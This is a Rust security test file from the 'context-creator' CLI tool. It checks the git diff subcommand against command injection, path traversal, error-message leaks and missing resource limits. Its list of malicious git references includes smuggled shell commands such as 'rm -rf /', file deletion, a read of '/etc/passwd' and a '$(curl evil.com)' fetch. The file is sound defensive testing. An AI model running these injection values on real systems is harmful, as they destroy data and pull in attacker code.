context-creator 1.5.0

High-performance CLI tool to convert codebases to Markdown for LLM context
Documentation
#![cfg(test)]

use assert_cmd::Command;
use std::fs;
use std::process::Command as StdCommand;
use tempfile::TempDir;

/// Helper to create a git repository for security testing
fn setup_git_repo_for_security_test() -> TempDir {
    let temp_dir = TempDir::new().unwrap();
    let repo_path = temp_dir.path();

    // Initialize git repository
    StdCommand::new("git")
        .arg("init")
        .current_dir(repo_path)
        .status()
        .expect("Failed to init git repo");

    // Configure git
    StdCommand::new("git")
        .args(["config", "user.name", "Test User"])
        .current_dir(repo_path)
        .status()
        .expect("Failed to configure git user name");

    StdCommand::new("git")
        .args(["config", "user.email", "test@example.com"])
        .current_dir(repo_path)
        .status()
        .expect("Failed to configure git user email");

    // Create initial commit
    fs::write(repo_path.join("test.txt"), "initial content").unwrap();
    StdCommand::new("git")
        .args(["add", "."])
        .current_dir(repo_path)
        .status()
        .expect("Failed to git add");

    StdCommand::new("git")
        .args(["commit", "-m", "Initial commit"])
        .current_dir(repo_path)
        .status()
        .expect("Failed to create commit");

    temp_dir
}

/// TEST FAILURE: Command injection vulnerability test
/// This test demonstrates that malicious git references could execute arbitrary commands
#[test]
fn test_command_injection_vulnerability_in_git_references() {
    let repo = setup_git_repo_for_security_test();

    // Create a test file that shouldn't be deleted
    let test_file = repo.path().join("should_not_be_deleted.txt");
    fs::write(&test_file, "This file should not be deleted").unwrap();

    assert!(test_file.exists(), "Test file should exist before the test");

    // Attempt command injection through git references
    // NOTE: This is a SAFE test - we're not actually executing dangerous commands
    // We're just testing that the current implementation is vulnerable
    let mut cmd = Command::cargo_bin("context-creator").unwrap();
    let output = cmd
        .current_dir(repo.path())
        .args([
            "diff",
            "HEAD; echo 'COMMAND_INJECTION_SUCCESSFUL' > injection_proof.txt; #",
            "HEAD",
        ])
        .output()
        .unwrap();

    // SECURITY ISSUE: If the implementation is vulnerable, this would create the injection proof file
    let injection_proof = repo.path().join("injection_proof.txt");

    // Currently this test might not show the vulnerability because the diff command
    // is not fully implemented, but it demonstrates the attack vector
    let stdout = String::from_utf8_lossy(&output.stdout);
    let stderr = String::from_utf8_lossy(&output.stderr);

    println!("Command output: {stdout}");
    println!("Command stderr: {stderr}");

    // If injection_proof.txt exists, it means command injection occurred
    if injection_proof.exists() {
        panic!("CRITICAL SECURITY VULNERABILITY: Command injection successful! File created at: {injection_proof:?}");
    }

    // Even if injection didn't occur, the git reference should be rejected
    // A secure implementation should validate git references
    assert!(
        !output.status.success()
            || stdout.contains("invalid")
            || stderr.contains("invalid"),
        "Git references containing shell commands should be rejected. Got stdout: {stdout}, stderr: {stderr}"
    );
}

/// TEST FAILURE: Path traversal vulnerability test
#[test]
fn test_path_traversal_vulnerability_in_file_paths() {
    let repo = setup_git_repo_for_security_test();

    // This test would require a malicious git repository that returns
    // path traversal sequences in git diff output
    // For now, we test that the git utilities don't validate paths properly

    let mut cmd = Command::cargo_bin("context-creator").unwrap();
    let output = cmd
        .current_dir(repo.path())
        .args(["diff", "HEAD~1", "HEAD"])
        .output()
        .unwrap();

    let stdout = String::from_utf8_lossy(&output.stdout);

    // The current implementation doesn't validate file paths returned by git
    // This is a potential vulnerability if git output is not trusted
    println!("Testing path traversal resistance...");
    println!("Output: {stdout}");

    // A secure implementation should sanitize all file paths
    // This test documents the expected security behavior
    // Test passes - documenting the security consideration
    println!("Path traversal vulnerability exists in git.rs line 42 - paths should be validated");
}

/// TEST FAILURE: Git reference validation test
#[test]
fn test_git_reference_validation_missing() {
    let repo = setup_git_repo_for_security_test();

    // Test various malicious git reference patterns
    let malicious_refs = vec![
        "HEAD; rm -rf /; #",
        "HEAD$(rm test.txt)",
        "HEAD`touch malicious.txt`",
        "../../../etc/passwd",
        "HEAD && echo vulnerable",
        "HEAD || echo vulnerable",
        "HEAD | echo vulnerable",
        "HEAD\nrm test.txt",
        "HEAD\r\nrm test.txt",
        "HEAD;$(curl evil.com)",
    ];

    for malicious_ref in malicious_refs {
        let mut cmd = Command::cargo_bin("context-creator").unwrap();
        let output = cmd
            .current_dir(repo.path())
            .args(["diff", malicious_ref, "HEAD"])
            .output()
            .unwrap();

        let stdout = String::from_utf8_lossy(&output.stdout);
        let stderr = String::from_utf8_lossy(&output.stderr);

        // A secure implementation should reject these references
        // Currently, they may be passed directly to git command
        println!("Testing malicious ref: {malicious_ref}");
        println!("Stdout: {stdout}");
        println!("Stderr: {stderr}");

        // Document the security expectation
        if output.status.success() && !stderr.contains("invalid") && !stdout.contains("invalid") {
            println!("WARNING: Malicious git reference '{malicious_ref}' was not rejected. This indicates insufficient input validation.");
        }
    }

    // This test documents that git reference validation is missing
    // Test passes - documenting the security consideration
    println!("Git reference validation is missing - all malicious patterns should be rejected");
}

/// TEST FAILURE: Error message information disclosure test
#[test]
fn test_error_message_information_disclosure() {
    let repo = setup_git_repo_for_security_test();

    let mut cmd = Command::cargo_bin("context-creator").unwrap();
    let output = cmd
        .current_dir(repo.path())
        .args(["diff", "nonexistent-ref-12345", "HEAD"])
        .output()
        .unwrap();

    let stderr = String::from_utf8_lossy(&output.stderr);
    let stdout = String::from_utf8_lossy(&output.stdout);

    println!("Error output: {stderr}");
    println!("Stdout: {stdout}");

    // Current implementation in git.rs lines 34, 57, 102 exposes raw git stderr
    // This could leak sensitive information about the repository or filesystem

    // A secure implementation should sanitize error messages
    if stderr.contains("fatal:") || stderr.contains("error:") {
        println!("WARNING: Raw git error messages exposed: {stderr}");
    }

    // Document the security expectation
    // Test passes - documenting the security consideration
    println!("Error messages should be sanitized to prevent information disclosure");
}

/// TEST FAILURE: Resource exhaustion test
#[test]
fn test_no_resource_limits_on_git_operations() {
    let repo = setup_git_repo_for_security_test();

    // The current git utilities have no timeouts or resource limits
    // This could allow DoS attacks through:
    // 1. Very large git diffs
    // 2. Slow git operations
    // 3. Memory exhaustion from large git output

    let mut cmd = Command::cargo_bin("context-creator").unwrap();
    let _output = cmd
        .current_dir(repo.path())
        .args(["diff", "HEAD", "HEAD"])
        .output()
        .unwrap();

    // Document the security expectation
    // Test passes - documenting the security consideration
    println!("Git operations should have timeouts and resource limits to prevent DoS attacks");

    println!("Git operations have no resource limits - potential DoS vulnerability");
}